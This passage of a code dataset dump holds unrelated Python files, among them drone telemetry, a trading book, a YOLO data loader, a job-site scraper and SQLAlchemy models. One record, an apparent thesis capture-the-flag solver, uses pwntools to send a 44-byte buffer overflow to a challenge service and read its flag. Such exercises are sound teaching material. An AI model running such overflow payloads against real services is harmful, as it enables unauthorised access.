zSize, ySize], 0)\n\n #\n # if(mouseX >= 80 and mouseX <=100 and mouseY>=400 and mouseY<=420):\n # #pygame.draw.circle(screen, [0, 255, 0], [180, 400], 40, 0)\n # pygame.draw.rect(screen, [rr, gg, bb], [240, 360, 50, 50],1 )\n # #screen.fill([255, 0, 255])\n # else:\n # if (mouseX <= 80 and mouseX >= 100 and mouseY <= 400 and mouseY >= 420):\n # pygame.draw.rect(screen, [0, 0, 0], [240, 360, 50, 50], 0)\n # pygame.draw.circle(screen, [255, 255, 0], [180, 400], 40, 0)\n # screen.fill([255,255,255])\n recSizeZ.insert(yy, zSize)\n recSizeY.insert(yy, ySize)\n if (record == True):\n separator = \" - \"\n op.insert(yy, operation)\n recordXpos.insert(yy, mouseX)\n recordSep.insert(yy, separator)\n recordYpos.insert(yy, mouseY)\n r.insert(yy, rr)\n g.insert(yy, gg)\n b.insert(yy, bb)\n print(operation, mouseX, mouseY)\n print(\"\")\n return\n\n\ndef playscreentest():\n screen = pygame.display.set_mode([640, 480])\n screen.fill([255, 255, 255])\n # my_ball = pygame.image.load('duke.gif')\n allofit = int(len(recordXpos))\n print(\"Doing play back\")\n for yy in range(allofit):\n pygame.time.delay(20)\n pygame.display.flip()\n mouseXx = recordXpos[yy]\n mouseYy = recordYpos[yy]\n red = r[yy]\n green = g[yy]\n blue = b[yy]\n sz = recSizeZ[yy]\n sy = recSizeY[yy]\n pygame.draw.rect(screen, [red, green, blue], [mouseXx, mouseYy, sz, sy], 0)\n\n\ndef askaway():\n aasking = tk.messagebox.askyesnocancel(\"Check Start\", \"Ready?\")\n if (aasking == True):\n print(\"here we go then\")\n elif (aasking == False):\n print(\"Ok....so quit already\")\n sys.exit(0)\n else: # (assking == None):\n print(\"Canceling....\")\n sys.exit(0)\n\n\nrecordXpos = []\nrecordYpos = []\nrecordSep = []\nr = []\ng = []\nb = []\ntt = 0\nop = []\nrecSizeY = []\nrecSizeZ = []\naskaway()\ntkscreentest()\nplayscreentest()\nprint(\"Program ended\")\nsys.exit(0)\n\n# Later to do...\n\n# if event.type == pygame.KEYDOWN and event.key == K_c:\n# operation = \"Circle\"\n# if event.type == pygame.KEYDOWN and event.key == K_r:\n# operation = \"Rectangle\"\n# if event.type == pygame.KEYDOWN and event.key == K_e:\n# operation = \"Ellipse\"\n# if event.type == pygame.KEYDOWN and event.key == K_l:\n# operation = \"Line\"","repo_name":"FlyingSparkie/Python-programs","sub_path":"RobotArmControl/getparams.py","file_name":"getparams.py","file_ext":"py","file_size_in_byte":6042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39891456054","text":"from __future__ import annotations # compatibility with older python versions than 3.9\nimport asyncio\nimport time\nfrom mavsdk import System\nfrom mavsdk.action import ActionError\nfrom mavsdk.offboard import OffboardError, VelocityNedYaw\nimport pymap3d as pm\nfrom data_structures import AgentTelemetry\nimport numpy as np\n\n\nclass SwarmManager:\n def __init__(self):\n self.telemetry: dict[str, type[AgentTelemetry]] = {}\n\n def check_swarm_positions(self, required_positions, check_alt=True):\n # takes required positions as NED and checks positions of swarm\n if check_alt == True:\n for agent in self.telemetry.keys():\n if (\n np.sqrt(\n (\n required_positions[agent][0]\n - self.telemetry[agent].position_ned[0]\n )\n ** 2\n + (\n required_positions[agent][1]\n - self.telemetry[agent].position_ned[1]\n )\n ** 2\n + (\n required_positions[agent][2]\n - self.telemetry[agent].position_ned[2]\n )\n ** 2\n )\n ) > 0.3:\n return False\n else:\n for agent in self.telemetry.keys():\n if (\n np.sqrt(\n (\n required_positions[agent][0]\n - self.telemetry[agent].position_ned[0]\n )\n ** 2\n + (\n required_positions[agent][1]\n - self.telemetry[agent].position_ned[1]\n )\n ** 2\n )\n ) > 0.3:\n return False\n return True\n\n def check_swarm_altitudes(self, required_altitudes):\n # takes required altitudes and checks positions of swarm\n for agent in self.telemetry.keys():\n if abs(self.telemetry[agent].geodetic[2] - required_altitudes[agent]) > 0.5:\n return False\n return True\n\n\nclass TelemetryUpdater:\n def __init__(\n self,\n id,\n drone,\n client,\n swarm_telem,\n event_loop,\n geodetic_ref,\n ulog_callback,\n ):\n self.id = id\n self.drone = drone\n self.client = client\n asyncio.ensure_future(\n self.get_position(swarm_telem, geodetic_ref),\n loop=event_loop,\n )\n asyncio.ensure_future(self.get_heading(swarm_telem), loop=event_loop)\n asyncio.ensure_future(self.get_velocity(swarm_telem), loop=event_loop)\n asyncio.ensure_future(\n self.get_arm_status(swarm_telem, ulog_callback), loop=event_loop\n )\n asyncio.ensure_future(self.get_battery_level(), loop=event_loop)\n asyncio.ensure_future(self.get_flight_mode(swarm_telem), loop=event_loop)\n asyncio.ensure_future(self.get_time(swarm_telem), loop=event_loop) # to get the cuurent time\n time.sleep(10)\n\n async def get_position(self, swarm_telem, geodetic_ref):\n # set the rate of telemetry updates to 10Hz\n await self.drone.telemetry.set_rate_position(10)\n async for position in self.drone.telemetry.position():\n\n swarm_telem[self.id].geodetic = (\n position.latitude_deg,\n position.longitude_deg,\n position.absolute_altitude_m,\n )\n\n swarm_telem[self.id].position_ned = pm.geodetic2ned(\n position.latitude_deg,\n position.longitude_deg,\n position.absolute_altitude_m,\n geodetic_ref[0],\n geodetic_ref[1],\n geodetic_ref[2],\n )\n\n self.client.publish(\n self.id + \"/telemetry/geodetic\",\n str(swarm_telem[self.id].geodetic).strip(\"()\"),\n )\n\n self.client.publish(\n self.id + \"/telemetry/position_ned\",\n str(swarm_telem[self.id].position_ned).strip(\"()\"),\n )\n\n # if (\n # -swarm_telem.position_ned[2] <= bottom_alt_limit\n # or -swarm_telem.position_ned[2] >= top_alt_limit\n # ):\n # self.client.publish(\"emergency_stop\", \"reached an altitude limit\")\n\n async def get_heading(self, swarm_telem):\n # set the rate of telemetry updates to 10Hz\n # await drone.telemetry.set_rate_heading(10)\n async for heading in self.drone.telemetry.heading():\n\n swarm_telem[self.id].heading = heading\n\n self.client.publish(\n self.id + \"/telemetry/heading\",\n str(swarm_telem[self.id].heading.heading_deg).strip(\"()\"),\n )\n\n async def get_velocity(self, swarm_telem):\n # set the rate of telemetry updates to 10Hz\n await self.drone.telemetry.set_rate_position_velocity_ned(10)\n async for position_velocity_ned in self.drone.telemetry.position_velocity_ned():\n # changed from list to tuple so formatting for all messages is the same\n swarm_telem[self.id].velocity_ned = (\n position_velocity_ned.velocity.north_m_s,\n position_velocity_ned.velocity.east_m_s,\n position_velocity_ned.velocity.down_m_s,\n )\n self.client.publish(\n self.id + \"/telemetry/velocity_ned\",\n str(swarm_telem[self.id].velocity_ned).strip(\"()\"),\n )\n\n async def get_arm_status(self, swarm_telem, ulog_callback):\n async for is_armed in self.drone.telemetry.armed():\n if is_armed != swarm_telem[self.id].arm_status:\n swarm_telem[self.id].arm_status = is_armed\n self.client.publish(\n self.id + \"/telemetry/arm_status\",\n str(swarm_telem[self.id].arm_status),\n )\n # if swarm_telem[self.id].arm_status == False:\n # await ulog_callback()\n\n async def get_battery_level(self):\n await self.drone.telemetry.set_rate_battery(0.1)\n async for battery_level in self.drone.telemetry.battery():\n self.client.publish(\n self.id + \"/battery_level\",\n str(round(battery_level.remaining_percent * 100)),\n )\n\n async def get_flight_mode(self, swarm_telem):\n async for flight_mode in self.drone.telemetry.flight_mode():\n if str(flight_mode) != swarm_telem[self.id].flight_mode:\n swarm_telem[self.id].flight_mode = str(flight_mode)\n print(swarm_telem[self.id].flight_mode)\n self.client.publish(self.id + \"/flight_mode\", str(flight_mode), qos=2)\n \n async def get_time(self, swarm_telem): \n async for obj_raw_gps in self.drone.telemetry.raw_gps(): # to run the command self.drone.telemetry.raw_gps() forever\n swarm_telem[self.id].current_time=obj_raw_gps.timestamp_us # current time in micro seconds","repo_name":"CUEDOS/helix_framework","sub_path":"helix_framework/telemetry.py","file_name":"telemetry.py","file_ext":"py","file_size_in_byte":7302,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"40316061860","text":"from __future__ import print_function\n\nfrom copy import deepcopy\nfrom decimal import Decimal, getcontext, ROUND_HALF_DOWN\nimport logging\nimport os\nimport time\nimport pandas as pd\n\nfrom position import Position\nfrom performance.performance import create_drawdowns\nfrom settings import OUTPUT_RESULTS_DIR\n\n# List of book trading status\nTRADE = 'trade' # Full Trading allowed\nSTOP = 'stop' # End Trading completely\nFLATTEN = 'flatten' # Only risk reducing orders allowed\nRESTRICTED = 'restricted' # Temp no trading allowed - e.g limit breach\n\n\nclass Book(object):\n def __init__(\n self, ticker, home_currency=\"GBP\",\n leverage=20, equity=Decimal(\"100000.00\"),\n risk_per_trade=Decimal(\"1\"), backtest=False\n\n ):\n self.ticker = ticker\n self.home_currency = home_currency\n self.leverage = leverage\n self.equity = equity\n self.balance = deepcopy(self.equity)\n self.realised_pnl = 0\n self.risk_per_trade = risk_per_trade\n self.backtest = backtest\n self.trade_units = self.calc_risk_position_size()\n self.positions = {}\n if self.backtest:\n self.backtest_file = self.create_equity_file()\n self.logger = logging.getLogger(__name__)\n self.trade_status = TRADE\n self.limits = self.get_limits_for_book()\n self.start_time = time.time()\n\n def calc_risk_position_size(self):\n return self.equity * self.risk_per_trade\n\n def get_unrealised_pnl(self):\n pnl = 0\n for ticker in self.positions:\n pos = self.positions.get(ticker, None)\n if pos is None:\n pnl += 0\n else:\n pnl += pos.calculate_profit()\n return pnl\n\n def add_new_position(\n self, instrument, units, price,\n ):\n\n ps = Position(\n self.home_currency,\n instrument, units, price\n )\n self.positions[instrument] = ps\n\n def adjust_position(self, instrument, units, price):\n if instrument not in self.positions:\n return False\n else:\n ps = self.positions[instrument]\n\n # if increasing position, then add units\n if units > 0 and ps.units > 0:\n ps.add_units(units, price)\n return True\n elif units < 0 and ps.units < 0:\n ps.add_units(units, price)\n return True\n # If we are long and we have a short (visa versa) remove units\n elif units > 0 > ps.units:\n if abs(units) == abs(ps.units):\n self.close_position(instrument, price)\n else:\n pnl = ps.remove_units(units, price)\n self.realised_pnl += pnl\n self.balance += pnl\n return True\n elif units < 0 < ps.units:\n if abs(units) == abs(ps.units):\n self.close_position(instrument, price)\n else:\n pnl = ps.remove_units(units, price)\n self.realised_pnl += pnl\n self.balance += pnl\n return True\n else:\n self.logger.error(\"Unable to determine how to handle order\")\n return False\n\n def close_position(self, instrument, price):\n if instrument not in self.positions:\n return False\n else:\n ps = self.positions[instrument]\n pnl = ps.close_position(price)\n self.realised_pnl += pnl\n self.balance += pnl\n print('Closing Position %s, %s' % (str(pnl), str(self.balance)))\n del [self.positions[instrument]]\n return True\n\n def create_equity_file(self):\n filename = \"backtest.csv\"\n out_file = open(os.path.join(OUTPUT_RESULTS_DIR, filename), \"w\")\n header = \"Timestamp,Balance\"\n for pair in self.ticker.pairs:\n header += \",%s\" % pair\n header += \"\\n\"\n out_file.write(header)\n if self.backtest:\n print(header[:-2])\n return out_file\n\n def output_results(self):\n # Closes off the Backtest.csv file so it can be \n # read via Pandas without problems\n self.backtest_file.close()\n\n in_filename = \"backtest.csv\"\n out_filename = \"equity.csv\"\n in_file = os.path.join(OUTPUT_RESULTS_DIR, in_filename)\n out_file = os.path.join(OUTPUT_RESULTS_DIR, out_filename)\n\n # Create equity curve dataframe\n df = pd.read_csv(in_file, index_col=0)\n df.dropna(inplace=True)\n df[\"Total\"] = df.sum(axis=1)\n df[\"Returns\"] = df[\"Total\"].pct_change()\n df[\"Equity\"] = (1.0 + df[\"Returns\"]).cumprod()\n\n # Create drawdown statistics\n drawdown, max_dd, dd_duration = create_drawdowns(df[\"Equity\"])\n df[\"Drawdown\"] = drawdown\n df.to_csv(out_file, index=True)\n\n print(\"Simulation complete and results exported to %s\" % out_filename)\n\n def update_book(self, tick_event):\n \"\"\"\n This updates all positions ensuring an up to date\n unrealised profit and loss (PnL).\n \"\"\"\n instrument = tick_event.instrument\n if instrument in self.positions:\n ps = self.positions[instrument]\n ps.update_curr_price(tick_event.mid)\n self.equity = self.balance + self.get_unrealised_pnl()\n\n if time.time() - self.start_time > 2:\n out_line = \"%s, Balance: %s, Equity: %s\" % (tick_event.time, self.balance, self.equity)\n for pair in self.ticker.pairs:\n if pair in self.positions:\n out_line += \", Current Profit: %s, Units %s\" % (self.positions[pair].calculate_profit(),\n self.positions[pair].units)\n else:\n out_line += \",0.00, 0\"\n\n out_line += \"\\n\"\n print(out_line[:-1])\n self.backtest_file.write(out_line)\n self.start_time = time.time()\n\n def get_limits_for_book(self):\n return {'order_size': 150000000,\n 'position_size': 400000000,\n 'pnl_limit': -10000000}\n","repo_name":"rioubenson/eagle","sub_path":"portfolio/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22487368566","text":"#!/usr/bin/python3.8\nimport warnings\nfrom pwn import *\nfrom termcolor import colored\nwarnings.filterwarnings(\"ignore\")\n\ncontext.log_level = \"error\"\n\nLOCAL = False\ncheck = True\n\nwhile check:\n # Open a local process or a remote\n if LOCAL:\n r = process(\"./challenge0\")\n else:\n r = remote(\"0.0.0.0\", 1337)\n\n # Overflow the buffer with 44 bytes and overwrite the address of \"target\" with junk.\n r.sendlineafter(\">\", \"A\" * 44)\n\n # Read flag - unstable connection\n try:\n flag = r.recvline_contains(\"FLAG\").decode()\n print(colored(f\"\\n[+] Flag: {flag}\\n\", \"green\"))\n check = False\n except:\n print(colored(\"\\n[-] Failed to connect!\", \"red\"))\n r.close()","repo_name":"w3th4nds/Thesis-2023","sub_path":"challenge0/challenge/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3086862737","text":"from operator import le\nfrom typing import List\nfrom collections import defaultdict\nfrom math import factorial\n\n\nclass Solution:\n\n def removeDuplicates(self, nums):\n l = 1\n for r in range(1, len(nums)):\n if nums[r] != nums[r - 1]:\n nums[l] = nums[r]\n l += 1\n return nums\n\n def anagrams(self, misspelled_names):\n res = defaultdict(list)\n for s in misspelled_names:\n count = [0] * 26\n for c in s:\n count[ord(c) - ord(\"a\")] += 1\n res[tuple(count)].append(s)\n unique = []\n for i in res.values():\n # print(i[0])\n unique.append(i[0])\n a = sorted(unique)\n return a\n\n def repeat(self, text, k):\n words = text.split() \n word = set([x for x in words if words.count(x) >= k])\n word = list(word)\n words = [x for x in words if x not in word ]\n \n print(words)\n \n\n \n\n\ns = Solution()\n\n# print(s.anagrams([\"vlad\", \"avld\", \"almas\", \"aslam\", \"aya\", \"ayan\"]))\nprint(s.repeat(\"hi ai hi ai hi\", 3))","repo_name":"shakhnoza-i/algorithm_data_structure","sub_path":"leetcode/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7717493294","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/12/14 14:47\n# @Author : TkiChus\n# @Email : XU.Chao.TkiChus@gmail.com\n\n\n\n\"\"\"if you want using the existing 3D datasets, like SDF of ZINC 3D.\n You just extract the pos and type of SDF.\n We create an example of processing a ZINC SDF file, other types of files are similar,\n and fine-tuning the script will do the trick!\"\"\"\nimport os\n\n\ndef extract_pos_type_sdf(sdf_path, xyz_path, start_line):\n \"\"\"\n\n Args:\n sdf_path: the path of file\n start_line: start from the line,you can change it according to the format\n\n Returns:\n\n \"\"\"\n atom_atomic = [\"H\", \"C\", \"N\", \"O\", \"F\", \"Cl\", \"S\"]\n every_line_write = []\n total_line_write = []\n total_atom = 0\n\n\n with open(sdf_path) as f:\n lines = f.readlines()\n\n for line in range(start_line, len(lines)):\n if ((lines[line].strip()).split())[3] in atom_atomic:\n\n every_line_write.append(((lines[line].strip()).split())[3])\n every_line_write.append(((lines[line].strip()).split())[0])\n every_line_write.append(((lines[line].strip()).split())[1])\n every_line_write.append(((lines[line].strip()).split())[2])\n\n total_line_write.append(every_line_write)\n every_line_write = []\n total_atom += 1\n\n else:\n break\n print(total_line_write)\n\n\n with open(xyz_path, \"a+\", encoding=\"utf8\") as w:\n if not os.path.exists(xyz_path):\n os.mkdir(xyz_path)\n\n w.write(str(total_atom))\n w.write(\"\\n\\n\")\n for every_pos_type in total_line_write:\n for i in every_pos_type:\n w.write(i.ljust(10))\n\n w.write(\"\\n\")\n\n\n f.close()\n w.close()\n\nif __name__ == '__main__':\n\n extract_pos_type_sdf(\"./test.sdf\", \"./test.xyz\", 4)","repo_name":"ZheLi-Lab-Collaboration/3D-SMGE","sub_path":"dbData_processing/extract_pos_type.py","file_name":"extract_pos_type.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"15251085707","text":"'While Loop'\r\n\"\"\"\r\nDengan perulangan while kita dapat mengeksekusi satu set pernyataan selama\r\nkondisinya benar.\r\n\"\"\"\r\n'Cetak i selama i kurang dari 6:'\r\n\r\ni = 1\r\nwhile i <= 6:\r\n print(i)\r\n i += 1\r\n\r\n'''\r\nCatatan: ingat untuk menambah i, atau loop akan berlanjut selamanya.\r\n\r\nThe sedangkan lingkaran membutuhkan variabel yang relevan untuk siap, \r\ndalam contoh ini kita perlu mendefinisikan variabel pengindeksan, i ,\r\nyang kita set ke 1.\r\n'''\r\n\r\n'The break Statement'\r\n\"\"\"\r\nDengan pernyataan break kita dapat menghentikan perulangan meskipun kondisi while benar:\r\n\"\"\"\r\nj = 1\r\nwhile j < 6:\r\n print(j)\r\n if j == 3:\r\n break\r\n j += 1\r\n\r\n'The continue Statement'\r\n\"\"\"\r\nDengan pernyataan continue kita dapat menghentikan iterasi saat ini, dan melanjutkan dengan yang berikutnya:\r\n\"\"\"\r\n'Lanjutkan ke iterasi berikutnya jika i adalah 3:'\r\ni = 0\r\nwhile i < 6:\r\n i += 1\r\n if i == 3:\r\n continue\r\n print(i)\r\n\r\n'The else Statement'\r\n\"\"\"\r\n Dengan pernyataan else kita dapat menjalankan blok kode satu kali ketika kondisinya tidak lagi benar:\r\n\"\"\"\r\ni = 1\r\nwhile i < 6:\r\n print(i)\r\n i += 1\r\nelse:\r\n print(\"i is no longer less than 6\")","repo_name":"Reihannudin/Full-Python-Basic","sub_path":"WhileLoop.py","file_name":"WhileLoop.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17048699793","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 24 17:07:07 2018\n\n@author: jwm\n\"\"\"\nfrom __future__ import division\n\nimport numpy as np\nfrom PIL import Image\nimport xml.etree.ElementTree as ET\nimport os\n\n\nclass DataGenerator:\n '''Generate data'''\n def __init__(self, config):\n self.config = config\n self.get_filenames(config.xml_path)\n \n def next_batch(self):\n '''\n Batch Stochastic gradient descent\n '''\n idx = np.random.randint(0,self.config.trained_img_num,self.config.batch_size)\n yield self.load_images(idx), self.load_labels(idx)\n \n def get_filenames(self, path):\n self.filenames = [ f.split('.')[0] for f in os.listdir( path ) if os.path.isfile( os.path.join( path, f ) )]\n \n def load_images(self,idx):\n if self.config.train.random:\n self.config.train.image_resized = np.random.choice(self.config.train.image_ranged,size=1)\n image_names = [os.path.join(self.config.imgs_path,self.filenames[i])+'.jpg' for i in idx]\n image_lists = []\n for image_name in image_names:\n image_lists.append(self.convert_img(image_name))\n return np.array(image_lists)\n \n def convert_img_padding(self,image_id):\n \"\"\"\n resize image with unchanged aspect ratio using padding\n ......\n \"\"\"\n image = Image.open(image_id)\n image_w, image_h = image.size\n new_w = int(image_w * min(self.config.train.image_resized/image_w, self.config.train.image_resized/image_h))\n new_h = int(image_h * min(self.config.train.image_resized/image_w, self.config.train.image_resized/image_h))\n resized_image = image.resize((new_w, new_h), Image.BICUBIC)\n boxed_image = Image.new('RGB', (self.config.image_resized,self.config.image_resized), (128, 128, 128))\n boxed_image.paste(resized_image, ((self.config.image_resized-new_w)//2, (self.config.image_resized-new_h)//2))\n image_data = np.array(boxed_image, dtype='float32')/255\n return image_data\n \n def convert_img(self,image_id):\n image = Image.open(image_id)\n resized_image = image.resize((self.config.train.image_resized, self.config.train.image_resized), Image.BICUBIC)\n image_data = np.array(resized_image, dtype='float32')/255.0\n return image_data\n \n def load_labels(self,idx):\n label_names = [os.path.join(self.config.xml_path,self.filenames[i])+'.xml' for i in idx]\n label_lists = []\n for label_name in label_names:\n label_lists.append(self.convert_annotation(label_name))\n return np.array(label_lists)\n \n def convert_annotation(self, xml_id):\n in_file = open(xml_id)\n tree=ET.parse(in_file)\n root = tree.getroot()\n size = root.find('size')\n w = int(size.find('width').text)\n h = int(size.find('height').text)\n \n bboxes=[]\n for i,obj in enumerate(root.iter('object')):\n if i >= self.config.train.max_truth:\n break\n difficult = obj.find('difficult').text\n cls = obj.find('name').text\n if cls not in self.config.names or int(difficult) == 1:\n continue\n cls_id = self.config.names.index(cls)\n xmlbox = obj.find('bndbox')\n box = (float(xmlbox.find('xmin').text), float(xmlbox.find('xmax').text), float(xmlbox.find('ymin').text), float(xmlbox.find('ymax').text))\n bbox = self.convert((w, h), box) + [cls_id]\n bboxes.append(bbox)\n if len(bboxes) < self.config.train.max_truth:\n bboxes += [[0,0,0,0,0]] * (self.config.train.max_truth - len(bboxes))\n return np.array(bboxes)\n \n def convert(self,size, box):\n dw = 1./size[0]\n dh = 1./size[1]\n x = (box[0] + box[1])/2.0\n y = (box[2] + box[3])/2.0\n w = box[1] - box[0]\n h = box[3] - box[2]\n x = x*dw\n w = w*dw\n y = y*dh\n h = h*dh\n return [x, y, w, h]\n ","repo_name":"csjiangwm/YOLOv3-tensorflow","sub_path":"data_loader/data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"35698676859","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport re\nimport typing as tp\n\n# constants\nsearch_words = [\"scala\", \"data engineer\", \"python\"] #sys.argv\nlink = 'https://hh.ru/search/vacancy?text={}&area=1&search_field=name&page={}'\nvacancies = []\n\ndef filter_with_block_set(words, block_set):\n return list(set.difference(words, block_set))\n\ndef _scrap_url(url: str) -> requests.models.Response:\n print('next_page:\\t', url)\n\n # work with parser\n headers = {\"User-Agent\":\"Mozilla/5.0\"}\n return requests.get(url = str(url), headers=headers)\n\ndef parse_vacancy_description(link:str) -> tp.Union[None, tp.List[str]]:\n # work with parser\n response = _scrap_url(link)\n soup = BeautifulSoup(response.content, \"html.parser\")\n vacancy_description = soup.select_one('div[data-qa=vacancy-description]').text\n vacancy_words = re.sub(r'[^a-z]', ' ', vacancy_description, flags=re.IGNORECASE).split(' ')\n skills_set = set(map(lambda x: x.lower(), filter(lambda x: x.strip(), vacancy_words)))\n result_set = None if len(skills_set) >= 60 else skills_set\n return result_set\n\n# changes global array - vacancies\ndef parse_search_results(link: str, search:str, page: int, \n max_page_number = None) -> tp.List[object]: \n # preformat\n search_encoded: str = search.lower().replace(' ', '+')\n formatted_link = link.format(search_encoded,str(page))\n \n print('search_encoded: {} | page: {} | max_page_number: {}'.format(search_encoded,page,max_page_number))\n \n # work with parser\n response = _scrap_url(formatted_link)\n soup = BeautifulSoup(response.content, \"html.parser\")\n vacancies_items = soup.find_all(\"div\", {\"class\": \"vacancy-serp-item\"})\n for item in vacancies_items:\n res_item = parseSearchResult(item)\n res_item['search'] = search\n vacancies.append(res_item)\n\n if page == 0: # calculate max_page_number\n max_page_number = int(soup.select('a[data-qa=pager-page]')[-1]['href'].split('page=')[1])\n \n if page != max_page_number: # go next page, until max_page_number\n parse_search_results(link, search, page+1, max_page_number)\n\ndef parseSearchResult(item) -> dict:\n result = {}\n\n header_item = item.select_one(\"a[data-qa=vacancy-serp__vacancy-title]\")\n link = header_item['href'].split(\"?\")[0]\n result['link'] = link\n result['title'] = header_item.text.strip()\n\n # parse skills\n skills_set = parse_vacancy_description(link)\n if skills_set: # if true -> russian vacancy\n filtered_list = filter_with_block_set(skills_set, block_set)\n result['skills'] = filtered_list\n\n work_schedule_item = item.select_one('div[data-qa=vacancy-serp__vacancy-work-schedule]')\n if work_schedule_item:\n result['work_schedule'] = work_schedule_item.text\n \n compenstaion_item = item.select_one('span[data-qa=vacancy-serp__vacancy-compensation]')\n if compenstaion_item: # salary\n result['compensation'] = compenstaion_item.text.replace(\"\\u202f\",\"\") \n\n employer_item = item.select_one('a[data-qa=vacancy-serp__vacancy-employer]')\n if employer_item:\n employer = {}\n employer['link'] = \"https://hh.ru\" + employer_item['href'].split(\"?\")[0]\n employer['name'] = employer_item.text.strip().replace('\\xa0','')\n result['employer'] = employer\n\n return result\n\n# load block_set\nwith open('blockset.csv','r', encoding='utf-8') as f:\n block_set = set(f.read().splitlines())\n\n# real run\nfor search_word in search_words:\n parse_search_results(link, search_word, 0)\n\n# saving\nwith open('target/output', 'w+', encoding='utf8') as f:\n for vacancy in vacancies:\n json.dump(vacancy, f, ensure_ascii=False)\n f.write('\\n')","repo_name":"DarkDesire/python-scraping","sub_path":"simple-hhru/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17054437497","text":"# --------------\nclass_1 = ['Geoffrey', 'Hinton', 'Carla Gentry', 'Sebastian Raschka', 'Yoshua Bengio']\r\nclass_2 = ['Hilary Mason', 'Carla Gentry', 'Corina Cortes']\r\n\r\n#Concatenate both Class\r\nnew_class = (class_1 + class_2)\r\n\r\n#Print the new class\r\nprint(new_class)\r\n\r\n#Add new element\r\nnew_class.append('Peter Warden')\r\n\r\nprint(new_class)\r\n\r\n#create dictionary\r\ncourses = {'Math':65, 'English':70, 'History':80, 'French':70, 'Science':60}\r\n\r\n#add marks\r\ntotal = (courses['Math']+courses['English']+courses['History']+courses['French']+courses['Science'])\r\nprint(total)\r\n\r\n#calculate percentage\r\npercentage = ((total/500)*100)\r\nprint(percentage)\r\n\r\n#create dictionary mathematics\r\nmathematics = {'Geoffrey Hinton':78, 'Andrew Ng':95, 'Sebastian Raschka':65, 'Yoshua Benjio':50, 'Hilary Mason':70, 'Corinna Cortes':66, 'Peter Warden':75}\r\n\r\n#Calculate max value\r\ntopper = max(mathematics,key = mathematics.get)\r\nprint(topper)\r\n\r\n#print topper name\r\nfirst_name = topper.split()[0]\r\nlast_name = topper.split()[1]\r\nprint(first_name)\r\nprint(last_name)\r\n\r\n#full name\r\nfull_name = (str(last_name) + ' ' + str(first_name))\r\n\r\ncertificate_name = full_name.upper()\r\nprint(certificate_name)\n\n\n","repo_name":"jigarrgala/GreyAtom-Python-for-data-science","sub_path":"Student-Management-System/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21108332061","text":"from sqlalchemy import Column\nfrom sqlalchemy import Integer\nfrom sqlalchemy import String\nfrom sqlalchemy import Unicode\nfrom sqlalchemy import UnicodeText\nfrom sqlalchemy import Boolean\nfrom sqlalchemy import ForeignKey\n\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.orm import backref\n\nfrom cspot.models import Base\nfrom cspot.widgets import all_widget_types\n\nclass Form(Base):\n \"\"\"\n A collection of widgets\n \"\"\"\n \n __tablename__ = 'forms'\n __mapper_args__ = {'polymorphic_on': 'type'}\n\n id = Column(Integer, primary_key=True)\n type = Column(String(16), nullable=False)\n project_id = Column(Integer, ForeignKey('projects.id'))\n\n def __init__(self, project):\n self.project = project\n\n def has_widgets(self):\n return len(self.widgets)\n\nclass ItemForm(Form):\n __mapper_args__ = {'polymorphic_identity':'item'}\n project = relationship('Project', backref=backref('item_form', uselist=False))\n \nclass FeedbackForm(Form):\n __mapper_args__ = {'polymorphic_identity':'feedback'} \n project = relationship('Project', backref=backref('feedback_form', uselist=False))\n\nclass Widget(Base):\n \"\"\"\n Base class for form widgets\n \"\"\"\n \n __tablename__ = 'widgets'\n\n id = Column(Integer, primary_key=True)\n sort_order = Column(Integer)\n\n form_id = Column(Integer, ForeignKey('forms.id'))\n form = relationship(Form, backref=backref('widgets', order_by=sort_order))\n \n type = Column(String(32), nullable=False)\n label = Column(Unicode(500), nullable=False)\n description = Column(UnicodeText())\n admin_only = Column(Boolean)\n required = Column(Boolean, default=False)\n\n __mapper_args__ = {'polymorphic_on': type}\n\n def __init__(self, form, label):\n self.form = form\n self.label = label\n self.sort_order = len(form.widgets) + 1\n self.admin_only = False\n self.required = False\n\n def copy_to(self, widget):\n \"\"\"\n Copy the values of this widget to another widget\n \"\"\"\n widget.sort_order = self.sort_order\n widget.label = self.label\n widget.description = self.description\n widget.admin_only = self.admin_only\n widget.required = self.required\n\ndef widget_factory(widget_type):\n \"\"\"\n Generate a widget model class for a type\n \"\"\"\n\n for model, controller in all_widget_types:\n if model.widget_type == widget_type:\n return model\n\n","repo_name":"trip42/CommitteeSpot","sub_path":"cspot/models/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73159062594","text":"#!/usr/bin/env python\n\"\"\"\nNessus 6 API\n\nOnly does the things we need to do:\n\n - Authenticate\n - List scans\n - Download scan data\n\"\"\"\n\nimport requests\nimport time\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger('nessus6api')\n\n\nclass Nessus6API:\n def __init__(self, url=None, username=None, password=None, access_key=None, secret_key=None, 